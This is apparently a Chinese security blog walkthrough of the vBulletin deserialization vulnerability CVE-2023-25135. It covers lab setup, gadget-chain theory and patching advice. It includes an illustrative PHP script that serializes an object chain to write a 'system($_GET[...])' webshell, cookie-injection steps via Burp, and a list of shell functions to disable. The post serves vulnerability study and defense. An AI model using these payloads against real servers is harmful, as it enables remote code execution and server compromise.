1. 项目概述:一次针对vBulletin反序列化漏洞的深度剖析
最近在安全研究圈里,CVE-2023-25135这个编号被频繁提及,它指向的是老牌论坛软件vBulletin中的一个高危反序列化漏洞。对于从事渗透测试、红队评估或者应用安全研究的同行来说,这类在流行软件中发现的、能够直接导致远程代码执行的漏洞,无疑是必须深入理解和掌握的“硬通货”。我花了些时间,在可控的测试环境中完整地走了一遍漏洞的发现、分析和复现流程,这个过程远比单纯运行一个公开的EXP脚本要复杂和有趣得多。它不仅仅是一个漏洞编号,更涉及对vBulletin架构的理解、对PHP反序列化机制的深入挖掘,以及对漏洞利用链的精心构造。如果你正准备深入研究这个漏洞,或者想了解现代PHP应用反序列化漏洞的典型挖掘思路,那么我这次踩坑和填坑的经历,或许能给你提供一些直接的参考。
简单来说,CVE-2023-25135允许攻击者通过精心构造的序列化数据,在vBulletin服务器上触发反序列化操作,最终实现在目标系统上执行任意PHP代码。这意味着,在未打补丁的vBulletin论坛上,攻击者可能无需任何登录凭证,就能完全控制服务器。接下来,我会从漏洞的根源、触发环境搭建、详细的利用链拆解,到最终的漏洞复现和加固建议,为你完整呈现这个漏洞的“前世今生”。
2. 漏洞原理与背景深度解析
2.1 vBulletin与反序列化漏洞的渊源
vBulletin是一款拥有悠久历史的商业论坛软件,被全球众多大型社区所采用。其代码量庞大,功能模块复杂,这也意味着潜在的攻击面较广。PHP反序列化漏洞对于vBulletin来说并非新鲜事,历史上曾多次出现类似问题。这类漏洞的根源在于,程序接受了用户可控的序列化字符串,并在未进行充分验证和安全处理的情况下,将其传递给
unserialize()
函数。
unserialize()
函数在还原对象时,会自动调用该对象类的
__wakeup()
或
__destruct()
等魔术方法。如果攻击者能够控制被反序列化的对象,并且该对象的类中存在危险的方法或属性,就可能形成一条从反序列化点到代码执行的完整利用链(Gadget Chain)。CVE-2023-25135正是这样一个典型案例,它利用了vBulletin核心代码库中某些类的特定方法,通过属性注入等方式,最终达到执行系统命令或PHP代码的目的。
2.2 CVE-2023-25135漏洞核心触发点分析
根据公开的漏洞公告和补丁分析,该漏洞的触发点通常与vBulletin处理某些特定参数(如通过Cookie、POST数据传递的序列化信息)的方式有关。在某些接口或功能模块中,程序可能会将用户输入的数据直接进行反序列化操作。攻击者需要做的就是,找到这个接收序列化数据的位置,并构造一个能够利用vBulletin内部类方法的序列化字符串。
关键在于利用链的构造。一个完整的PHP反序列化利用链通常像一串多米诺骨牌:
- 起点 :一个可控的反序列化入口点。
-
跳板
:一个类的
__wakeup()或__destruct()方法被自动调用,该方法内部可能操作了其他对象的属性。 -
桥梁
:被操作的属性本身是另一个对象,该对象的某个方法(如
__toString(),__call(),__get())会被触发。 -
终点
:最终触发一个能够执行代码的危险函数,如
call_user_func()、eval(),或能够进行文件操作的函数,进而写入Webshell。
对于CVE-2023-25135,研究人员发现vBulletin的某个类(例如与模板缓存、数据库抽象层或会话处理相关的类)中存在可利用的魔术方法。通过精心设置该类的属性,使其指向另一个包含危险方法的对象,从而在反序列化过程中让攻击者的代码逻辑得以执行。
注意 :公开的漏洞细节(PoC/EXP)往往会指明具体的利用链和类名。但在实际研究和复现中,理解其原理比记住几个类名更重要。因为补丁可能会修改类方法,但漏洞模式是相通的。
3. 复现环境搭建与工具准备
漏洞复现的第一原则是 在合法、隔离的环境中进行 。绝对不能在未经授权的真实系统上进行测试。
3.1 靶场环境搭建
我选择使用Docker来快速搭建一个包含漏洞版本的vBulletin环境,这是最安全、最便捷的方式。
- 获取漏洞版本vBulletin :你需要找到vBulletin 5.6.9之前(具体受影响的版本范围需参考官方公告,例如5.6.8)的安装包。由于是商业软件,官方可能不会直接提供旧版本下载。对于安全研究,可以在一些合法的漏洞靶场项目或已构建好的Docker镜像中寻找。
-
使用预构建的漏洞环境
:社区项目如
vulhub或vulapps有时会集成此类漏洞环境。例如,你可以尝试搜索是否有针对CVE-2023-25135的Docker Compose配置。# 假设存在这样的项目结构 git clone https://github.com/某个靶场项目/CVE-2023-25135.git cd CVE-2023-25135 docker-compose up -d -
手动搭建
:如果找不到现成的,就需要手动配置。这涉及安装特定版本的PHP(需支持反序列化,且禁用危险函数不严格)、MySQL数据库,并按照vBulletin的安装向导进行配置。这个过程比较繁琐,主要用于深度调试。
-
PHP配置需注意:确保
allow_url_include通常为Off,但反序列化漏洞往往不依赖它;观察disable_functions列表,如果system,exec,shell_exec,passthru等函数被禁用,就需要寻找其他迂回执行命令的方式,比如利用php://filter配合文件操作写入Webshell。
-
PHP配置需注意:确保
3.2 必备工具与调试准备
- Burp Suite / OWASP ZAP :用于拦截和修改HTTP请求,这是注入序列化Payload的主要途径。
- PHPGGC(PHP Generic Gadget Chains) :这是一个强大的工具,但它主要针对如Laravel、Symfony等框架的通用链。对于vBulletin这种定制化程度高的软件,公开的利用链可能不在PHPGGC默认库中。不过,其代码结构是学习如何构造利用链的绝佳资料。
-
序列化Payload生成器
:你需要根据找到的利用链,手动编写PHP代码来生成序列化字符串。一个简单的生成脚本如下:
<?php class EvilClass { public $dangerous_property = 'id'; // ... 其他根据利用链需要设置的属性 ... } $obj = new EvilClass(); // 可能需要构造嵌套的对象结构 $serialized = serialize($obj); // 有时需要对序列化字符串进行URL编码或Base64编码 echo urlencode($serialized); // 或者直接输出用于Cookie等场景 echo $serialized; ?> -
代码编辑器与调试技巧
:在复现过程中,你很可能需要阅读vBulletin的源代码。使用IDE(如PHPStorm)或编辑器(如VSCode)进行全局搜索,查找
unserialize()的调用点、潜在的魔术方法(__destruct,__wakeup,__toString等)是关键。在关键位置添加file_put_contents('/tmp/debug.log', print_r($data, true), FILE_APPEND);这样的调试语句,可以帮助你理解数据流向。
4. 漏洞利用链构造与详细复现过程
这里我将以一个 模拟的、基于公开漏洞原理 的利用链为例,展示完整的复现过程。请注意,以下类名和方法名是 示例性 的,真实CVE-2023-25135的利用链可能不同,但逻辑高度相似。
4.1 步骤一:定位反序列化入口点
首先,我们需要找到哪里接受了可能被反序列化的数据。常见的位置包括:
- Cookie :某些处理会话或用户状态的逻辑。
- POST/GET参数 :特别是那些看起来像是配置、缓存数据的参数。
- API接口 :某些Ajax或RESTful接口。
使用Burp Suite代理浏览器,访问vBulletin论坛,浏览各个页面,关注请求参数。寻找参数值看起来像是经过
serialize()
函数处理后的字符串特征(通常包含对象类型声明
O:长度:
、属性数量
{
等)。
假设
我们发现一个名为
preferences
的Cookie,其值经过Base64解码后,呈现序列化字符串的特征。
4.2 步骤二:分析并构造利用链
假设通过代码审计,我们找到了以下利用链(此为示例):
-
入口类
vB_Session:它的__wakeup()方法会调用$this->dba->query()来恢复会话数据。 -
跳板属性
dba:$dba是vB_Database类的一个实例。 -
危险方法
vB_Database::query():该方法内部会使用$this->connection->real_query($sql)。如果$connection属性可控,我们就有了操作空间。 -
终点控制
$connection:我们需要让$connection成为一个包含real_query()方法的对象。但vBulletin内部可能没有这样的类。更可行的思路是,让$connection成为一个其他类的对象,其__call()魔术方法(当调用不存在的方法时触发)会被real_query触发。在__call()方法内部,可能存在eval()或call_user_func()等危险操作。
然而,更常见的捷径是
利用PHP内置类
。例如,如果代码中存在
$connection->real_query($sql)
,且
$connection
被我们控制为
SimpleXMLElement
类,并配合
libxml_disable_entity_loader(false)
和恶意的XML外部实体(XXE),有时可能达到读取文件的目的,但这对于代码执行来说不够直接。
另一种更经典的终点是寻找可以进行
文件写入
的魔术方法,例如某个类的
__toString()
方法被触发时,会将其某个属性写入文件。如果这个属性我们可控,就能写入一个PHP Webshell。
示例构造脚本 :
<?php
// 假设的利用链类 - 仅为演示逻辑
class vB_Database {
public $connection;
}
class EvilWrapper {
public $payload;
public function __call($name, $arguments) {
// 当vB_Database尝试调用 $this->connection->real_query() 时,
// 由于EvilWrapper没有real_query方法,会触发这里的__call。
// 假设这里存在 eval($this->payload) 或 file_put_contents('shell.php', $this->payload)
// 由于安全限制,我们演示一个写入文件的场景
if (isset($this->payload)) {
// 实际利用中,$this->payload 会被精心构造为PHP代码
// 例如: $this->payload = '<?php system($_GET[\"cmd\"]);?>';
// 这里为了演示,我们假设直接写入一个字符串
file_put_contents('/var/www/html/vbforum/includes/shell.php', $this->payload);
}
}
}
class vB_Session {
public $dba;
public function __wakeup() {
// 模拟唤醒后执行查询,触发利用链
$this->dba->query("SELECT 1");
}
}
// 构造对象链
$evil = new EvilWrapper();
$evil->payload = '<?php echo "Vulnerable!"; system($_GET[\"c\"]); ?>';
$db = new vB_Database();
$db->connection = $evil; // 将危险对象注入到connection属性
$session = new vB_Session();
$session->dba = $db; // 将包含危险对象的db注入到session
// 生成最终的序列化Payload
$finalPayload = serialize($session);
echo "Payload: \n";
echo $finalPayload . "\n";
echo "Base64 Encoded (for Cookie): \n";
echo base64_encode($finalPayload) . "\n";
?>
运行这个脚本,你会得到一个序列化的字符串。这个字符串就是我们的攻击载荷。
4.3 步骤三:发送Payload并验证漏洞
-
编码与注入
:将生成的序列化字符串进行URL编码或Base64编码(根据目标入口点期望的格式)。在我们的例子中,假设入口点是Cookie
preferences。 - 使用Burp Suite拦截请求 :在浏览器中访问vBulletin的任何一个页面,用Burp拦截HTTP请求。
-
修改Cookie
:找到
Cookie头,修改preferences的值为我们生成的(并可能经过Base64编码的)Payload。GET /index.php HTTP/1.1 Host: vb.test Cookie: preferences=Base64编码后的Payload; other_cookie=value ... - 发送请求 :转发这个被修改的请求。
-
验证结果
:
-
方式一(直接)
:如果利用链成功执行了命令(如写入Webshell),访问对应的Webshell文件(如
http://vb.test/includes/shell.php?c=whoami),看是否返回命令执行结果。 - 方式二(间接) :如果利用链只是触发了某个动作(如写入日志、发送请求),可以查看服务器日志、或监听一个DNS/HTTP请求来验证漏洞是否触发。
-
方式三(错误信息)
:有时Payload构造不正确,服务器会返回PHP错误信息(如“Class ‘EvilWrapper’ not found”)。这反而是一个重要信号,说明反序列化被执行了,只是我们提供的类在服务器上不存在。
这正是真实利用中最关键的一环:我们只能使用服务器上已存在的类。
因此,我们需要将
EvilWrapper替换成vBulletin代码库中真实存在的、具有危险方法的类。
-
方式一(直接)
:如果利用链成功执行了命令(如写入Webshell),访问对应的Webshell文件(如
4.4 步骤四:适配真实利用链(关键)
上面的
EvilWrapper
是我们虚构的。真实漏洞利用中,我们需要在vBulletin的代码库中寻找这样一个“跳板类”。这需要扎实的代码审计能力。公开的EXP通常会给出这个类名,例如可能是某个处理模板、缓存或日志的类。
假设公开的EXP指出利用链的终点是利用了
vB_Template_Runtime
类的某个方法。那么我们的构造脚本就需要做相应调整:
// 使用vBulletin真实存在的类
class vB_Template_Runtime {
public $storage;
// 假设这个类有一个__call方法,其中使用了eval
}
// ... 根据公开的利用链细节,精确设置$storage等属性的结构 ...
复现心得 :
- 类自动加载 :PHP在反序列化一个对象时,必须能找到该类的定义。vBulletin使用自动加载机制。你构造的Payload中的类,必须是vBulletin在接收到请求时已经加载或可以通过自动加载机制加载的类。通常,核心类都在全局范围内可用。
-
属性可见性
:
serialize()会序列化所有属性(包括private和protected),但会在属性名前加上空字节和类名等前缀(如\0*\0propertyName)。在手动构造字符串或编写生成脚本时,必须严格按照此格式,否则反序列化时属性值无法正确注入。使用PHP代码生成Payload是最可靠的方式。 - 字符转义 :序列化字符串中的引号、空字节等特殊字符,在通过HTTP参数传递时可能需要额外的URL编码或处理。
5. 漏洞修复方案与安全加固建议
在成功复现漏洞后,理解如何修复和防御同样重要。
5.1 官方修复方案
vBulletin官方在后续版本中修复了此漏洞。修复方式通常有以下几种:
- 移除不必要的反序列化 :检查并清理代码中非必需的反序列化操作。
-
使用安全的白名单反序列化函数
:例如,用
json_decode()替代unserialize(),如果数据结构允许。 - 引入签名验证 :如果必须使用反序列化,则对序列化数据进行数字签名,确保其未被篡改。
-
使用限制性的反序列化器
:PHP 7引入了
allowed_classes参数,可以限制反序列化时只能实例化指定的安全类。修复补丁很可能在调用unserialize()时加上了类似['allowed_classes' => false]或一个严格的白名单。// 修复后的安全写法示例 $data = unserialize($userInput, ['allowed_classes' => false]); // 或者只允许极少数必要的类 $data = unserialize($userInput, ['allowed_classes' => ['vB_AllowedClass1', 'vB_AllowedClass2']]);
立即行动 :所有vBulletin管理员应立即将程序升级到官方发布的最新安全版本。
5.2 针对开发者的安全编码实践
-
永远不要反序列化不可信的数据
:这是铁律。如果数据来自用户输入、Cookie、数据库(非完全可信的源),则应避免使用
unserialize()。 -
优先使用JSON
:在数据交换和存储场景,
json_encode()/json_decode()是更安全的选择。 -
如果必须用,请严格过滤
:使用
allowed_classes限制,并确保PHP版本>=7.0。 -
代码审计
:定期对代码库进行安全审计,搜索所有
unserialize()调用点,评估其风险。 -
魔术方法审查
:检查所有
__wakeup(),__destruct(),__toString(),__call(),__get(),__set()等魔术方法,确保其中没有不安全操作(如eval(),call_user_func()配合可变参数),或者这些操作的参数完全不可由对象属性控制。
5.3 针对系统管理员的防护措施
- 及时更新 :不仅是vBulletin,所有第三方组件、CMS、框架都应保持最新版本。
-
最小化PHP函数
:在
php.ini中,通过disable_functions指令禁用不必要的危险函数,如eval,system,exec,passthru,shell_exec,proc_open,popen等。这可以增加攻击者利用漏洞的难度,即使反序列化成功,也无法直接执行系统命令。 - Web应用防火墙 :部署WAF,并更新其规则库,以识别和拦截常见的反序列化攻击Payload。
-
文件监控
:对Web目录下的文件创建、修改行为进行监控,特别是
.php文件的写入,可以及时发现Webshell。
6. 复现过程中的常见问题与排查技巧
在复现这类漏洞时,你几乎一定会遇到各种问题。下面是我踩过的一些坑和解决方法。
6.1 Payload发送后无任何反应
- 检查入口点是否正确 :是否找错了参数?Cookie名是否正确?尝试用已知的、功能正常的序列化数据(如正常的会话Cookie)替换,看应用行为是否变化,以确认该入口点确实在进行反序列化。
- 检查编码 :Payload是否经过了正确的URL编码或Base64编码?Burp Suite的Decoder模块是你的好帮手。对比正常请求中该参数值的编码方式。
-
查看服务器日志
:查看PHP错误日志(
/var/log/apache2/error.log或php_error.log)和Web服务器访问日志。反序列化错误(如类未找到、属性不匹配)通常会在这里留下记录。 没有错误信息有时也是一种信息 ,可能意味着入口点不对,或者Payload根本没被解析。 -
开启PHP错误显示
:在测试环境的
php.ini中设置display_errors = On和error_reporting = E_ALL,让错误直接输出到浏览器(仅限测试环境!)。
6.2 出现“Class ‘XXXX’ not found”错误
这是好消息!说明反序列化被执行了,只是你使用的类在当前的请求上下文里不存在。
-
确认类名和命名空间
:仔细检查vBulletin源代码,确保类名完全正确,包括命名空间。例如,可能是
\vB\Library\SomeClass而不是SomeClass。 -
理解自动加载
:确认这个类是否在触发反序列化的代码路径之前被加载。有些类可能只在特定的页面或条件下才会被加载。尝试访问不同的端点(如
ajax/api、admincp)来触发反序列化,因为加载的类集合可能不同。 -
使用内置类
:如果利用链允许,可以尝试使用PHP标准库(SPL)中的内置类,如
ArrayObject、SplFileInfo等,它们始终可用。有些巧妙的利用链会利用这些内置类的魔术方法。
6.3 利用链似乎触发了,但命令没执行或Webshell没写入
-
权限问题
:Web服务器进程(如www-data用户)是否有权在目标目录创建文件或执行系统命令?尝试写入一个临时目录(
/tmp/)看看。 -
安全配置
:检查
disable_functions。如果system、exec等被禁用,你的命令执行Payload就会失败。此时需要转向其他方法,比如:-
使用
file_put_contents()写入Webshell。 -
使用
php://filter配合include进行代码执行(如果allow_url_include为On,但现代配置通常为Off)。 - 使用LD_PRELOAD等复杂技巧(难度较高)。
-
使用
- 利用链终点不对 :可能你构造的链最终调用了一个不执行代码的方法。需要重新审计代码,找到真正的“sink”(危险函数调用点)。
6.4 如何高效地寻找新的利用链?
这超出了单纯复现的范畴,但如果你想深入:
-
全局搜索
unserialize(:找到所有反序列化点。 -
全局搜索魔术方法
:
__destruct,__wakeup,__toString,__call,__get,__set。 -
分析调用关系
:从
__destruct或__wakeup方法开始,画图分析它调用了哪些其他方法,这些方法的参数是否来自对象属性,这些属性是否可控。 -
寻找危险函数
:在魔术方法或它们调用的方法中,寻找
eval(),call_user_func(),call_user_func_array(),system(),exec(),file_put_contents()等。 - 构造属性控制流 :如果危险函数的参数可以被对象的某个属性影响,那么你就找到了一个可能的利用链节点。向上回溯,看这个对象在哪里被实例化、属性在哪里被设置,直到找到一个你能控制的、会被反序列化的对象属性。
整个过程就像在玩一个复杂的拼图游戏,需要耐心、细心和对PHP面向对象机制的深刻理解。每一次成功的复现和原理剖析,都是对自身安全研究能力的一次扎实提升。

1万+

被折叠的 条评论
为什么被折叠?



